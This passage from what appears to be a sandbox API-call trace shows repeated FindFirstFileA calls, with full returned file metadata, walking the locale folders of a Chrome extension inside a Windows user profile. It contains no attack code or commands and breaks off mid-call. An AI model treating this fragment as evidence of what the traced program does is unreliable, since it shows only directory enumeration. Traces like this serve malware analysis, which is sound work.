ftLastWriteTime.dwLowDateTime=0x864ed410, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502818 [0078.930] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864ed410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864ed410, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864ed410, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502818 [0078.932] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864ed410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864ed410, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864ed410, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502818 [0078.935] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864ed410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865396d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865396d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502818 [0078.937] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865396d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865396d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865396d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x20004f, dwReserved1=0x450044, cFileName=".", cAlternateFileName="")) returned 0x502818 [0078.940] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865396d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865396d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865396d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x20004f, dwReserved1=0x450044, cFileName=".", cAlternateFileName="")) returned 0x502818 [0078.942] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865396d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865396d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865396d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502818 [0078.944] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655f830, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8655f830, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f0054, dwReserved1=0x440020, cFileName=".", cAlternateFileName="")) returned 0x502818 [0078.947] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655f830, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8655f830, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502818 [0078.949] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655f830, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8655f830, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502818 [0078.952] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655f830, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8655f830, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x450044, dwReserved1=0x520043, cFileName=".", cAlternateFileName="")) returned 0x502818 [0078.954] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655f830, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8655f830, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502818 [0078.957] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86585990, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502818 [0078.959] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86585990, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502818 [0078.961] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86585990, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502818 [0078.963] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86585990, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502818 [0078.966] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86585990, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502818 [0078.968] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86585990, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502818 [0078.971] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865abaf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865abaf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865abaf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502818 [0078.973] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865abaf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865abaf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865abaf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502818 [0078.976] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865d1c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865d1c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865d1c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502818 [0078.978] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865d1c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865f7db0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865f7db0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502818 [0078.981] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865f7db0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8661df10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8661df10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502818 [0078.983] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8661df10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8661df10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8661df10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502818 [0079.001] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86644070, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86644070, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86644070, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502818 [0079.003] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86644070, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86644070, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86644070, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x20004f, dwReserved1=0x450044, cFileName=".", cAlternateFileName="")) returned 0x502818 [0079.007] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8666a1d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86690330, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86690330, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x20004f, dwReserved1=0x450044, cFileName=".", cAlternateFileName="")) returned 0x502818 [0079.009] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86690330, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86690330, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86690330, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502818 [0079.015] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866b6490, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866b6490, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x866b6490, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502818 [0079.017] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866b6490, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866b6490, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x866b6490, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502818 [0079.020] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866dc5f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x866dc5f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502818 [0079.022] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866dc5f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x866dc5f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502818 [0079.025] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866dc5f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x866dc5f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502818 [0079.027] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866dc5f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x866dc5f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502818 [0079.031] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86702750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86702750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502818 [0079.033] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86702750, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86702750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86702750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502818 [0079.036] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86702750, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86702750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86702750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502818 [0079.038] FindFirstFileA (in: 